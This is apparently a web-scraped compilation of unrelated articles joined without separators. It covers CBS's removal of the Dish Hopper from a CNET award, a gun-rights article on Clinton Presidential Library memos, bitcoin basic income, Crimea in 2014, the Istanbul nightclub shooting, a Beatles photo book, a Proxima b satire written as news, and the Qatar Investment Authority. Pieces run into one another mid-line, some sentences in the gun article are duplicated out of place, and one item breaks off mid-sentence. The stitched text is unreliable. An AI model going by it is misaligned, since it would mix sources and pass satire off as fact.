CNET reporter Greg Sandoval did quit, saying on Twitter, “I no longer have confidence that CBS is committed to editorial independence.”
The Verge, another technology news and reviews site, reports the following: “Apparently the move to strike the Hopper from the awards was passed down directly to [CBS Interactive News executive Mark] Larkin from the office of CBS CEO Leslie Moonves. Moonves has been one of the most outspoken opponents of the Hopper, telling investors at one point, ‘Hopper cannot exist … if Hopper exists, we will not be in business with (Dish).’ “
It may seem obvious that corporations owning the news will inevitably lead to such conflicts of interest and censorship. But there has traditionally been an understanding in all forms of media that the truth is the truth and editors have independence from their paymasters. This story shows that not only is CBS willing to bend editorial decisions to its corporate interests, but with such brazenness, we have entered a new era in which the owners of news don’t even care about the pretense of truth and independence.
Forget the Hopper for a moment. Why should we believe that Leslie Moonves doesn’t pick up the phone when he sees something he doesn’t like planned for “60 Minutes”?
— Posted by Peter Z. Scheer. Follow him on Twitter: @peesch.by Dave Hardy - Monday, November 30, 2015
In early October, Hillary Clinton completely came out of the gun control closet. She was recorded spewing an anti-gun, anti-NRA diatribe at a private fundraiser (held, curiously, at the home of a convicted felon). Supporters cheered as she announced she was “taking on the NRA,” adding that she was “proud when my husband took them out.” And she promised: “I’m going to speak out, I’m going to do everything I can to rally people against this pernicious, corrupting influence of the NRA, and we’re going to do whatever we can.”
A few days later, she announced her gun control platform, including the usual list: no private sales, a so-called “assault weapons” ban, allowing gun purchases to be indefinitely delayed by the (not so) instant check system, and repealing the protection given lawful gun dealers and manufacturers against frivolous anti-gun lawsuits.
She then hearkened back to the years during which her husband, Bill Clinton, battled the gun rights movement. “We took them on in the ’90s,” she said. “We’re going to take them on again.” This appeal to the good old days seemed a bit strange for a supposedly “progressive” candidate, but let that pass.
Hillary’s presentation defines her new role—her husband’s heir on the gun control issue. She clearly believes that she—and she alone—can return us to the glorious days when Bill Clinton sat in the White House and his administration put lawful gun owners in their place.
Just what is the legacy she seeks to inherit? We know the public aspect of it—in other words, the parts that succeeded. They included the Brady Act, the “assault weapons ban,” skyrocketing license fees for FFLs, and so on. But these were actually just the tip of the Clinton gun-ban iceberg. To see the rest, I recently traveled to the William J. Clinton Presidential Library in Little Rock, Ark.
It was well worth the trip.
The first find was nothing less than staggering—a fax from Jody Powell, President Jimmy Carter’s press secretary, to George Stephanopoulos, Bill Clinton’s new press secretary, warning Clinton to back off from gun control because … it just doesn’t work.
“If there is an area that needs ‘new thinking,’ ‘rethinking,’ ‘a different kind of Democrat’ and all that, crime/gun control is it. From the outside this does not appear to be happening. What I hear and read sounds like the same old ideas being presented with the same worn-out rhetoric. She then hearkened back to the years during which her husband, Bill Clinton, battled the gun rights movement. “We took them on in the ’90s,” she said. “We’re going to take them on again.”
“We have yet to propose anything that people think will make any difference. The people who are generally for gun control don’t make it a voting issue because it has no real impact on their lives. On the other hand, the inconvenience and hassle of wading through another round with indifferent and incompetent bureaucrats and the fear that this is only the first step toward more radical measures are quite real to people who own guns.”
Then came the real bombshell:
“Much as I hate to say it, the NRA is effective primarily because it is largely right when it claims that most gun control measures inconvenience and threaten the law-abiding while having little or no impact on violent crime and criminals.”
Powell then accurately predicted what the future would hold:
“I support registration in principle. But two questions need to be asked. Are the people causing the problem going to comply voluntarily? If not, do you have a way to effectively enforce compliance? If the answer is ‘no’ in both cases, consider whether the benefits are worth making Bob Dole majority leader.”
The cover sheet bore a handwritten note, showing that Stephanopoulos had sent the fax to President Clinton, with his own recommendation: “This makes a lot of sense. GS”
This was January 1994—before the “assault weapons ban” and the other Clinton-era gun restrictions. The president had been warned by a high-ranking Democratic operative that what the administration was pushing wouldn’t work, that NRA was right, and that such measures would burden honest gun owners while doing nothing to combat crime. The only likely effect would be to cost Democrats the U.S. Senate.
Yet the Clinton administration went ahead and pursued those restrictive gun control policies anyway.
That discovery was just the beginning. Reviewing Clinton administration internal memos made it clear that gun control was a priority virtually from day one. But one thing was strangely absent. Not a single memo or document dealt with whether any of the proposed measures would affect crime. That was a non-issue in the Clinton White House. The real question to the administration was how each gun restriction could be portrayed—how it would function as a symbol. It was all smoke and mirrors.
The “Assault Weapons Ban.”
Early in the administration, what became known as “The Crime Bill” was introduced. It contained the Clinton “assault weapons ban.”
A Jan. 27, 1994, memo co-authored by Rahm Emanuel told Clinton that he had “the opportunity to make the crime issue ‘his,’” and thereby establish his (brace for this) moral image. “Instead the issue of crime and violence has been changed to punishment and values (learning the difference between right and wrong).” This would be a chance, Emanuel wrote, to “identify the president as a person of deeply held values, a moral leader for this country.”
The memo recommended measures to reinforce this “spin,” one of which stood out: “CDC study on violence: The Centers for Disease Control will release a study on causes of death, which will show the toll of violence. The president could make a statement, followed by the head of CDC or Shalala.” Even back then, 21 years ago, anti-gun forces could see how the CDC could be used to promote their cause. (Even more astonishing, though, is that the president himself was receiving advanced word of CDC reports so he could schedule press events around them.)
Second Term: Gun Permits And Gun Registration.
By his second term, Clinton’s proposals were expanding. His 2000 State of the Union speech specifically called for nationwide gun permit requirements: Reviewing Clinton administration internal memos made it clear that gun control was a priority virtually from day one. But one thing was strangely absent. Not a single memo or document dealt with whether any of the proposed measures would affect crime.
“Every state in this country already requires hunters and automobile drivers to have a license. I think they ought to do the same thing for handgun purchases. (Applause.) Now, specifically, I propose a plan to ensure that all new handgun buyers must first have a photo license from their state showing they passed the Brady background check and a gun safety course before they get the gun. I hope you’ll help me pass that in this Congress.”
Clinton’s internal documents actually show that the gun permit system was just the beginning. The speech was filed with sets of draft press releases and questions and answers. One of the “Q&A” documents provided a ready reply to anyone asking about gun registration:
“The president has stated previously that he thinks gun registration is a good idea. But he also believes that the best next step to strengthen our gun laws is a state-based licensing system.”
In other words: Don’t worry, we’ll get the permit requirement now, then get registration later.
The Drive Continues: Stamping Out Small FFLs, And “Smart Gun” Requirements With A Secret Twist.
A draft press release for the State of the Union added that it was “long past time” for Congress to “close the gun show loophole, ban the importation of high-capacity ammunition clips and require child gun safety locks.”
The White House files also dropped a clue as to another anti-gun measure. The draft press release referred to “smart gun” technology that would (if ever perfected) limit a gun to being fired by certain persons. The technology was being promoted as limiting the firing of a gun to its owner and persons he chose. The press release, however, referred to technology that would “limit a gun’s use to its authorized owner.”
Note the word “authorized.” The plan was to ensure that only the permit holder—the person whom the government had approved—could use a firearm in self-defense.
The internal papers also shed light on the Clinton administration’s move to stamp out small gun dealers. The Gun Control Act of 1968 made it fairly simple to acquire a Federal Firearms License—FFLs had to keep records (and later do background checks), while private sellers did not, so why not encourage people to become FFLs? By Clinton’s time, around a quarter of a million Americans held FFLs.
In summer 1993, the Clinton administration declared an initiative in which the Bureau of Alcohol, Tobacco and Firearms (ATF) would cooperate with local law enforcement to stop the “senseless violence occurring throughout the country with numbing regularity.” It certainly sounded like a good—or at least harmless—idea.
But the Clinton administration internal memorandums show a different picture: The real purpose of the “cooperation” was to drive small FFLs out of business (and, of course, to collect their records). A memo from the Treasury Department to White House staffer Dennis Burke (who would, years later, be the U.S. attorney at the heart of the “Fast and Furious” gunwalking scandal) outlined what was being done. ATF, together with local police and zoning inspectors, threatened small FFLs into resigning their licenses because they “did business” in their homes, which were not zoned for business.
The memorandum boasted of the effect: “Boston, MA—119 FFLs in 1994 have been reduced to the current level of 36. Chicago, IL—total FFLs have declined from 256 to 11.” Nationwide, in three years, the number of FFLs was cut nearly in half, falling from 286,000 to 144,000.
Driving small FFLs out of business had two effects. First, the shut-down dealers had to turn over their records to ATF. The memo added that ATF’s Tracing Center had expanded its capacity “to effectively utilize the firearms transaction records of out-of-business licensees.” Second, it set up a future attack on gun ownership—Hillary’s modern claim that private sales must be regulated because they aren’t going through the FFLs her husband had forced out of business!
Lawsuits Against Gun Manufacturers: The REAL Agenda.
Then we found the real bombshell, and one that ties directly to Hillary’s current campaign. During her husband’s administration, the Brady Campaign—then named Handgun Control Inc.—had targeted gun manufacturers and dealers with frivolous lawsuits, claiming they should pay for damage done by criminals illegally using their products. Brady was soon backed by numerous anti-gun cities, which claimed the manufacturers should pay for all the gun-related crime in the entirety of their domains.
A law professor summed up the effect: “By 2000, gun litigation was regularly front-page news, and manufacturers faced potentially bankrupting industrywide liability exposure as a result of suits by dozens of individual victims, over 30 cities, and the state of New York.”
In response, the NRA pressed for the Protection of Lawful Commerce in Arms Act, which passed in 2005. The vote was overwhelming and bipartisan (65-31 Senate, 283-144 House).
Hillary Clinton’s recent announcement of her anti-gun platform singled out the Protection of Lawful Commerce in Arms Act (PLCAA) for special attention. She calls it a “dangerous law” and her written plan pledges: “It is past time to repeal this law and hold the gun industry accountable just like everyone else. Clinton voted against this law in 2005 and will lead the charge to repeal it as president.”
At a town hall in New Hampshire in early October, she again attacked the PLCAA: “So far as I know, the gun industry and gun sellers are the only business in America that is totally free of liability for their behavior. Nobody else is given that immunity. And that just illustrates the extremism that has taken over this debate.”The real purpose of the “cooperation” was to drive small FFLs out of business (and, of course, to collect their records).
Why such an emphasis on a 10-year-old law that passed by 2-to-1 majorities? The papers found in her husband’s archives show why the lawsuits that the law stopped were so important to his plans—and now to hers.
Bill Clinton took a personal role in trying to settle the lawsuits. A January 2000 Q&A paper poses a question about the “status of your discussions with the gun industry and the cities that have filed lawsuits” and suggests the answer:
As we’ve made clear before, the White House intends to engage the gun industry in negotiations. We’ve had some preliminary discussions, and want to engage as many members of the gun industry as we can to achieve meaningful reforms to the way the gun industry does business. … We want real reforms that will improve the public safety and save lives.
But the internal White House papers show “real reforms” were not on the table. In December 1999, the “Office of the Deputy Secretary” (presumably of Treasury) had faxed the White House a proposed settlement of the lawsuits.
Under the settlement:
The manufacturers must agree to stop producing firearms (of any type) that could accept magazines holding more than 10 rounds, and not produce guns with polymer frames or handguns that do not qualify for import (meaning long barrels, target sights, etc.).
In one year, all new handguns must include magazine safeties; within five years, all must be “smart guns” (described as “authorized user technology”—again, note that term, “authorized user”).
The manufacturers must agree to finance (dollar amount left blank) a public relations campaign to “inform the public of the risks of guns in the home and proper gun storage, as well as the need to reduce gun violence.”
Manufacturers and dealers must also not only agree to create a gun registration system, but to pay for it. The court would appoint, and the manufacturers finance, a “monitor,” who would create a “Sales Data Clearinghouse.” Manufacturers would report all sales data to the Clearinghouse, and require any FFLs and distributors to whom they do business with to provide their sales data to the Clearinghouse.
Most importantly—and here is the hook that brings in the ordinary FFL, who was not a party to the lawsuits—manufacturers must agree to sell only to distributors and dealers who agreed to comply with certain standards
Those standards for distributors and dealers included:
No sales at gun shows or over the Internet;
“One gun a month” restriction for all guns, rifles and shotguns included;
No sales of new or used magazines that hold more than 10 rounds; and
No sales of used guns that would fall within the “assault weapons ban.”
The settlement would have amounted to the most staggering victory yet scored in the history of the anti-gun movement—all achieved in court, rather than through Congress!
The FFLs’ compliance was to be monitored annually, and any ATF “trace” would create a presumption that the FFL is in violation and should be cut off. (For reference, in 2014 ATF traced more than 360,000 guns, which would mean a lot of dealers, probably a majority, would be cut off.)
Remember, this was 1999: The PLCAA was still years away. Firearm manufacturers were defending against a mass of lawsuits funded by the Brady Campaign, by cities and by New York state. Their legal costs were staggering, and if they lost even one major suit the result would be complete ruin.
The Clinton administration thought it was in a position to dictate terms to them, and those terms amounted to nothing less than unconditional surrender. National gun registration, paid for by the gun industry. No magazines holding over 10 rounds, or guns that can accept them. One gun a month. No dealers at gun shows. An anti-gun PR campaign financed not by the Brady Campaign, but by firearms makers (and through them, by gun owners).
All of this was to be forced on gun manufacturers and FFLs as the settlement of lawsuits, without the messy necessity of trying to get Congress to enact laws. Any FFL that didn’t go along would be driven out of business, since manufacturers would be forced to cut them as customers.
That’s the real reason Hillary Clinton has made repeal of that Act—and the return of the punitive anti-gun lawsuits against lawful firearm manufacturers and dealers—such an important part of her new platform. The PLCAA took the “wish list” settlement approach off the table, now and forever—and in order for Hillary to continue her husband’s “legacy” of punitive lawsuits, it would need to be permanently done away with.
In short, the Clinton Presidential Archives are a breathtaking look into documents held secret during the Clinton years. These records reveal things that, until now, only Hillary Clinton and other insiders knew: things that put her latest “gun control platform” in a new—and profoundly threatening—light.
See the full text of Jody Powell’s memo to George Stephanopolous, and other gun control documents from the Clinton Presidential Library, by clicking here.As cryptocurrencies grow more mature, they may offer a method for providing a basic income to citizens across the globe, argues Alyssa Hertig in an article in Vice. Advocates like Greg Slepak, founder of Group Currency, believe that basic income has not yet been adopted on a large scale due, in part, to “government incompetence” in safe and efficient delivery of the funds. Bitcoin and other cryptocurrencies can potentially avoid this problem.
Bitcoin, like other cryptocurrencies, can be programmed to automatically pay out a basic income to members. It also provides a secure ledger, accessible to all members, for the delivery of funds. This allows a basic income to be implemented among consenting individuals without the passage of legislation.
Hertig describes two new platforms, UCoin and Ethereum, that might to be used to allow a basic income to be distributed through a system like Group Currency. Other technological advances may simplify the process of implementing a basic income even further.
Alyssa Hertig, “How Bitcoin Could Make Distributing a Universal Basic Income Actually Possible”, Vice, August 12, 2015.Ukrainian servicemen stationed in Crimea are leaving en masse their military units and handing over weaponry and arsenals to local pro-Russia authorities and militia, a RIA Novosti correspondent reported Sunday.
SIMFEROPOL, March 2 (RIA Novosti) – Ukrainian servicemen stationed in Crimea are leaving en masse their military units and handing over weaponry and arsenals to local pro-Russia authorities and militia, a RIA Novosti correspondent reported Sunday.
The Ukrainian Defense Ministry immediately denied the report, which was also circulated by other Russian media, calling it “a provocation.”
The ministry said in a statement that despite the attempts of “armed men” to take control of the military units stationed on the Crimean peninsula, their personnel refused to surrender and remained loyal to Kiev authorities.
Crimea, an autonomous republic within Ukraine, is now at the center of the ongoing crisis in the country as pro-Russia groups move to distance themselves from a reformed national parliament that ousted President Viktor Yanukovych a week ago.
The current development comes shortly after Russia’s upper house of parliament unanimously approved a request from President Vladimir Putin on Saturday to deploy military forces in Ukraine’s mainly ethnic Russian-populated region of Crimea.
Putin issued his request in response to what he said was a threat to the lives of Russian citizens and military forces located in naval bases in Crimea.
Putin, who is the Supreme Commander of the Russian Armed Forces, has not yet ordered the deployment of a “limited military contingent” in Ukraine, but said in telephone conversations with UN Secretary General Ban Ki-moon and US President Barack Obama early on Sunday that Moscow reserved the right to protect its own interests and those of Russian speakers in the event of violence breaking out in eastern Ukraine and Crimea.
There is already a substantial Russian military presence in southern Ukraine, courtesy of the leased Black Sea Fleet naval base in the Crimean Peninsula.
Large movements of Russian troops have been reported around the peninsula, which is in defiance of express instructions from Ukrainian authorities this week for Russian soldiers to remain confined to their quarters.
Meanwhile, thousands of pro-Moscow protesters staged a number of rallies in eastern Ukraine on Saturday backing the anti-Kiev stance of the Crimean population and calling for Russia to defend them as well.
New authorities in Kiev have already responded to Russia’s plans by putting the army on high alert and calling up all military reserves.
Kiev has also appealed to NATO on Saturday" with a request to consider all options to defend the territorial integrity and sovereignty of Ukraine.”
The North Atlantic Council, NATO’s main governing body, is scheduled to hold an extraordinary meeting on Sunday to discuss events in Ukraine, the military bloc’s secretary general, Anders Fogh Rasmussen, said in his Twitter blog.
Updates with Ukraine’s Defense Ministry denial of the reportThe Islamic State said in a statement on Monday that it was responsible for a New Year’s shooting spree at an Istanbul nightclub that left 39 people dead and nearly 70 wounded, while authorities were still searching for the gunman.
The terror group said through its Aamaq News Agency that the attack was carried out by a “heroic soldier of the caliphate who attacked the most famous nightclub where Christians were celebrating their pagan feast.”
Turkish authorities believe that the gunman came from a Central Asian nation and is likely to either be from Uzbekistan or Kyrgyzstan, Turkish media reported citing unnamed sources.
Police had also established similarities with the high-casualty suicide bomb and gun attack at Istanbul's Ataturk Airport in June and was investigating whether the same ISIS cell could have carried out both attacks, the papers reported.
The unidentified gunman, who is still at large, killed a policeman and another man outside the Reina club in the early hours of 2017 before entering and firing at about 600 revelers partying inside with an automatic rifle.
"Unfortunately, (he) rained bullets in a very cruel and merciless way on innocent people who were there to celebrate New Year's and have fun," Istanbul Gov. Vasip Sahin told reporters.
Nearly two-thirds of the victims were foreigners, many from the Middle East, according to Turkey’s state-run Anadolu Agency. The report said the bodies of 25 foreign nationals killed in the attack would be delivered to their families later Monday.
The mass shooting followed more than 30 violent acts over the past year in Turkey, which is a member of the NATO alliance and a partner in the U.S.-led coalition fighting against the Islamic State group in Syria and Iraq. The country endured multiple bombings in 2016, including three in Istanbul alone that authorities blamed on IS, a failed coup attempt in July and renewed conflict with Kurdish rebels in the southeast.
President Recep Tayyip Erdogan vehemently condemned "the terror attack in Istanbul's Ortakoy neighborhood in the first hours of 2017" and offered condolences for those who lost their lives, including the "foreign guests."
Among the dead were an 18-year-old Israeli woman, three Indians, three Lebanese, a woman with dual French-Tunisian citizenship and her Tunisian husband, two Jordanians, a Belgian national, a Kuwaiti citizen and a Canadian, according to those countries' governments and a diplomat. Jordan's Foreign Ministry earlier said three of its citizens had been killed, but revised that, saying there was confusion over the nationality of one victim.
A U.S. State Department official, who spoke only on condition of anonymity, said one American man was among those wounded. Turkey's minister for family and social policies, Fatma Betul Sayan Kaya, said citizens of Saudi Arabia, Morocco, Lebanon and Libya were among those injured.
NTV news reported that the assailant was wearing a Santa Claus outfit when he entered the nightclub on the shore of Bosporus straight, on the European side of the city – a claim Prime Miniser Binali Yidirim denied.
Sickening video from the scene shows what appeared to be a man dressed in black and carrying a backpack as he shoots down a police officer outside the nightclub. Footage taken by a different camera inside Reina shows a figure wearing different clothes and what could be a Santa Claus hat.
Yildirim said the attacker left a gun at the club and escaped by "taking advantage of the chaos" that ensued. Some customers reportedly jumped into the waters of the Bosporus to escape the attack.
Mehmet Dag, 22, said he was passing by the club when he saw a man shoot at a police officer and a bystander. He said the attacker then targeted security guards, gunning them down and entering the club.
"Once he went in, we don't know what happened. There were gun sounds, and after two minutes the sound of an explosion," Dag said.
Turkish media said the local victims included a 22-year-old police officer and a 47-year-old travel agent, both of whom were shot outside the club.
One was given a funeral Sunday in Istanbul, where his two sons joined the mourners gathered around the flag-draped casket, the private Dogan news agency reported.
Ayhan Arik, a tourism company employee who had taken foreign guests to the nightclub, was shot in the head, the news agency said.
On Sunday, heavily armed police blocked the snowy street in front of the nightclub. The entrance was covered with blue plastic sheeting below a Turkish flag. Police also patrolled the Asian side of the Bosporus on the other side of the club.
Crime scene investigators were seen inside the nightclub searching through mingled piles of chairs, tables and pieces of clothing left behind during the panic among the guests.
There were emotional scenes in front of a city morgue where the dead were taken for identification. Some relatives cried out and fell to the ground as they apparently learned the fate of their loved ones.
The Islamic State group claims to have cells in the country. Analysts think it was behind suicide bombings last January and March that targeted tourists on Istanbul's iconic Istiklal Street as well as the attack at Ataturk Airport in June, which killed 45 people.
In December, ISIS released a video purportedly showing the killing of two Turkish soldiers and urged its supporters to "conquer" Istanbul. Turkey's jets regularly bomb the group in the northern Syrian town of Al-Bab. Turkish authorities have not confirmed the authenticity of the video.
The nightclub attack drew quick condemnation from the West and Russia.
Russian President Vladimir Putin sent a telegram to Turkey's leader, saying that "it is hard to imagine a more cynical crime than killing innocent people during New Year celebrations."
"However, terrorists don't share moral values. Our common duty is to combat terrorists' aggression," Putin said.
The White House condemned what it called a "horrific terrorist attack" and offered U.S. help to Turkey. The U.N. Security Council condemned the "heinous and barbaric" assault in the "strongest terms."
The Associated Press contributed to this report.All I can say is wow! I got so much more than I bargained for from my generous gifter, Cookookachu220! Ok, here's the story: I headed out to my weekend job at the local haunted house and didn't get back home until damn near 3am due to opening night bs. So heading home I was in a right snit. Got inside, turned to my chair, and there was this enormous package sitting where my butt usually goes. I have to admit in my sleep-deprived mind it took several minutes for me to register that this was not some elaborate prank by my housemate or just random junk sitting on my chair. After a fast shower to wash off my makeup and such I opened my prizes in my room. I'll let the pictures explain the rest. Thank you so much Cookookachu220! I promise I'll update once I get time to make some cupcakes! I might even take some to work with me, though to which job remains questionable. Would you rather see my shelter animals or my spooky Halloweentime coworkers?Microsoft founder Bill Gates said during a Tuesday morning interview on CNBC that he is optimistic for Donald Trump’s presidency.
Gates told “Squawk Box” host Becky Quick that he has never met Trump but recently had a lengthy phone conversation with the President-elect about fostering “American leadership through innovation.”
WATCH:
“A lot of his message has been about where he sees things not as good as he’d like,” the billionaire philanthropist explained.
“But in the same way President Kennedy talked about the space mission and got the country behind that — I think that whether it’s education or stopping epidemics, other health breakthroughs, finishing Polio, or in this energy space — there can be a very upbeat message that his administration is going to organize.”
Gates added that Trump has pledged “to get behind” repealing “regulatory barriers” hindering American innovation, specifically in the technology and energy sectors.
“My whole career has been along those lines,” he added. “He was interested in listening to that, and I am sure there will be further conversations.”
Follow Datoc on Twitter and FacebookA book of previously unseen photos of the Beatles from the set of Help!
See sample pages from this book at Wink.
In 1964, Italian photographer Emilio Lari was 24, newly arrived in London and looking for work. Back in Rome, he’d shot promotional stills on the set of Yesterday, Today and Tomorrow, starring Sofia Loren and Marcello Mastroianni, and for The Bobo, featuring Peter Sellers and Britt Ekland.
Now he was hoping to do the same in Britain. Fortunately, it didn’t take long for him to hear about a new film just going into production: A cheap black-and-white comedy meant to cash in on that latest fad, the Beatles. Lari went around to see the film’s director, Sellers’ old friend Richard Lester, and got invited to the first day of shooting. He was on the set of A Hard Day’s Night only that day, but Lester liked his photos and invited him to do more work on his next film, which turned out to be the Beatles’ Help!
In vivid color and crisp black and white, this book shares dozens of the results. There are great candid and posed shots of the Beatles, many unseen for years or never published, throughout. Musicians will enjoy the close-up images of the band with its famed guitars: George Harrison with his Gibson acoustic, John Lennon with his Rickenbacker, Paul McCartney with his violin-shaped Hofner bass. We’ve seldom seen these instruments so closely and looking so shiny and new. The same is true for the pictures of the Beatles themselves. They look so young, fresh and lively that it’s hard to believe the pictures are more than 50 years old. There are shots of the band clowning with the camera crew between takes and, in a two-page sequence, candids of Paul and George in the back of a limo sharing an inside joke. Paul is collapsing into laughter, his hands over his face as George looks on, a sly smile across his face. Maybe they were stoned. The Beatles famously said they spent much of “Help!” slipping away between shots to share joints. In any event, they look happy – young men at the top of their game and the height of fame.
In another photo, John clowns around wearing a long black wig and flashing a peace sign. It’s a startling image. This was John in 1965 flash-forwarding to his look of a few years later, during the midst of his peace campaigns with Yoko Ono. In fact, with the long black hair, he looks more like Yoko than himself. Lari didn’t accompany the Beatles for later scenes of the film shot in Austria and the Bahamas, so this isn’t a full document of the making of “Help!” That’s not a shortfall. It’s an excellent collection of one photographer’s intimate view of the Beatles, featuring mostly unfamiliar and very compelling images of history’s most famous band.
– John Firehammer
The Beatles: Photographs from the Set of Help!
The Beatles: Photographs from the Set of Help!
by Emilio Lari
Rizzoli
2015, 144 pages, 9.3 x 9.3 x 0.8 inches
$22 Buy a copy on AmazonIt was confirmed today that scientists have discovered the people of Proxima b–the small rocky planet orbiting Proxima Centauri, the closest star to Earth–are sick and tired of the traumatic barrage of news concerning the two awful people running for the U.S. presidency.
“All these people talk about is themselves and how they are the solution for all Earthlings’ problems.”
The natives of planet Proxima b, which orbits a faint red dwarf star, were among the first extraterrestrials to receive radio transmissions emanating from the Earth. For decades, they’ve watched happenings on Earth with great interest and care toward humankind.
Proximian kindergarten teacher G’laxar, an active follower of current events as well as the hit TV show “How I Met Your Mother,” admitted to some interest in how human leaders proposed tackling issues such as conflict in the Middle East and progressive tax policy, but found the candidates’ views unimaginative and rhetoric uninspiring.
“All these people talk about all day long is themselves and how they are the solution for all Earthlings’ problems,” screamed G’laxer at a frequency beyond hearing range for humans.
“Between this Obama and Romney, I don’t see how it could get any worse,” she said while being barraged by X-ray flares.
Proxima b, a mere 4.2 light years from Earth, receives transmissions from Earth roughly four years after they are sent.
“For some reason they put themselves through this torturous and unproductive exercise every four years,” said shopkeeper X’’’lap. “I can’t imagine Americans selecting a pair any less qualified than this to protect individual liberty. They’ve surely hit rock bottom.”Texas Sen. Ted Cruz and Gov. Greg Abbott said they met Sunday with Taiwan President Tsai Ing-wen while she was passing through Houston on her way to Central America.
The Republican senator said in a news release that during his meeting with Tsai, they “discussed our mutual opportunity to upgrade the stature of our bilateral relations” in a talk that addressed arms sales, diplomatic exchanges and economic relations.
“Furthering economic cooperation between our two nations must be a priority; increased access to Taiwanese markets will benefit Texas farmers, ranchers and small business owners alike,” he said.
A news release from |
place in West Dorset is a genuine one.
Even so, Billy might still be despairing about the prospects of Labour ultimately triumphing – too many yellows, he may reckon, would peel away to the blues in the event of a straight Labour-Conservative split.
In that event, he needs to avoid Ukip being knocked out so that it does not give transfers to Labour and push them through into a fight that they cannot win.
The response? Vote Ukip, to keep them in the game, knock Labour out – and push its support towards the Lib Dems.
We are, as you will no doubt be detecting, moving deeper and deeper into fantasy waters.
Before the referendum I shall try to do another piece on how many seats there really are where such shenanigans are possible. I suspect they are few and far between.
But for the moment, while the "every vote counts" mantra is dodgy, and while tactical voting will not be entirely eliminated, I have to concede that in Billy Bragg's own case it is unlikely to be a particularly strong impulse.
Perhaps he will soon be singing about first preferences that are as "wild and free" as sexuality.The Qatar Investment Authority (Arabic: جهاز قطر للإستثمار) (QIA) is Qatar's state-owned holding company that can be characterised as a National Wealth Fund. It specialises in domestic and foreign investment. The QIA was founded by the State of Qatar in 2005 to strengthen the country's economy by diversifying into new asset classes. The fund is a member of the International Forum of Sovereign Wealth Funds, and is therefore a signatory of the Santiago Principles on best practice in managing sovereign wealth funds.[2]
History and profile [ edit ]
The QIA was founded in 2005 by the then-emir of Qatar Hamad bin Khalifa Al Thani to manage the oil and natural gas surpluses by the government of Qatar.[3] As a result of its stated strategy to minimize risk from Qatar's reliance on energy prices, the fund predominantly invests in international markets (United States, Europe and Asia-Pacific) and within Qatar outside the energy sector. Prior to establishment of the QIA in 2005, Qatar's Ministry of Finance had a small in-house team to invest revenue from budget surpluses.[4] The Qatar National Vision 2030 foresees the shift from natural gas based revenue to QIA-type investments between now and then.[5]
The QIA wholly controls Qatari Diar, a property investment company.[6]
QIA is estimated to hold in excess of $170 billion of assets[7] an amount that is expected to significantly increase as the state completes its expansion projects to become the world's largest liquefied natural gas exporter with 77 million tons output capacity.[8] The QIA does not publish its holdings to the market.
In June 2013 after the new emir's arrival to power, and general reshuffle into Qatar's main organizations, Ahmad Al Sayed was appointed as QIA's Chairman and Chief Executive, replacing Hamad bin Jassim Al Thani in the post[9] while also remaining Managing Director & CEO of QIA's main subsidiary Qatar Holding.[10] Sayed held the post for 16 months. In January 2015 Sheikh Abdullah bin Mohamed bin Saud al-Thani, chairman of Qatar communication company Ooredoo, was appointed new CEO.[11] Khalifa Al Kuwari is the current Chief Operating Officer.
Subsidiaries [ edit ]
Qatar Investment Authority owns (100%) Qatar Holding LLC, and is associated with Qatar National Bank (50%).
QIA is affiliated with Qatar Islamic Bank (16.67%) and with Ubac Curaçao NV (1.35%).
QIA is affiliated with Qatar Sports Investments (QSi).[12]
Investments [ edit ]
In January 2013, one writer pegged the QIA investment in Britain at €30 billion, France €10 billion and Germany €5 billion,[5] while another reported that the total assets under management in June 2013 was on the order of $100 billion.[13] Qatar Holding's stake in Barclays rose to 12.7% following Barclays' capital raising in October 2008.[14] Qatar Investment Authority holds a small stake in Fisker Automotive. It also holds about 17% stake in the Volkswagen Group, Porsche, Hochtief,[15] as well as investments in Sainsbury's.[16] The French government has made of Qatar a strategic partner, and the list of partnerships between the two states includes Lagardère (12%) Total (4%), EADS (6%), Technip, Air Liquide, Vinci SA (5%), GDF Suez, Veolia (5%), Vivendi, Royal Monceau, France Telecom and Areva.[5][15][17] In February 2009, France accorded special beyond-OECD investment privileges to Qatar and its state-owned enterprises; one example is capital gains exemptions in France.[17] The QIA is also reported to hold part of Xstrata.[13]
On 8 May 2010, Qatar Holding, an indirect subsidiary of QIA, purchased the Harrods Group from Mohamed Al-Fayed, including the Knightsbridge department store.[18] QIA are also the largest shareholder in Sainsbury's.[19] On 3 December 2010, Qatar Investment Authority, along with Colony Capital and Tutor-Saliba Corporation, was part of an investment group known as Filmyard Holdings, which purchased Miramax from Disney.[20]
In February 2012, it completed the acquisition of Credit Suisse's headquarters in London. QIA holds a 6% stake in Credit Suisse and owns shares in Apeldoorn, the majority owner of Canary Wharf Group. Qatari Diar, a property arm of the fund, along with Canary Wharf, won a £300mn deal to redevelop the Shell Centre in London that houses the Royal Dutch Shell's London headquarters.[21] The French government has offered tax exemptions for Qatari real estate investments in the country and have acquired almost $4 billion of property.[22] In May 2012, it acquired a stake below 3% in Royal Dutch Shell. It has announced a plan to raise its stake to 7%.[23] In late 2012 Qatar Sports Investments (QSI) completed a buyout of the French football club Paris Saint-Germain F.C. (P.S.G.), which valued the club at $130 million.[22] QSI invested a further $340 million in the club, they had bought the Paris Saint-Germain Handball team the previous year.[22] The Qatari president of P.S.G., Nasser Al-Khelaifi is also the director of Qatari owned television network Al Jazeera Sports, which launched French television channels beIN Sport. Qatar has also offered to finance social programs in French suburbs, which has attracted criticism.[22]
In January 2013, Qatar Holding, an indirect subsidiary of QIA, said it would invest $5 billion into petrochemical projects in Malaysia in the three to four years. The investment was said to help Malaysia compete with neighbouring Singapore to become the region's top petrochemical hub.[24] The QIA was planning to invest $200 million in residential property in India through Kotak Realty Fund in late December 2013.[25]In August 2018, Qatar Investment Authority signed Memorandum of Understanding (MoU) to invest up to $500mn in tourism in Indonesia.[26]
In October 2014, Qatar Investment Authority, has signed an agreement with CITIC Group Corp to launch a $10 billion fund that will invest in the China region[27] The QIA announced its intention to invest $35b in the US during the next five years, starting in September 2015.[28]
Via Mannai Corporation, it is currently in a process of acquiring the French computer science group GFI.[29]
Qatari Diar [ edit ]
Logo of Qatari Diar
Qatari Diar is a real estate company established by the Qatar Investment Authority in 2005 with headquarters in Doha.
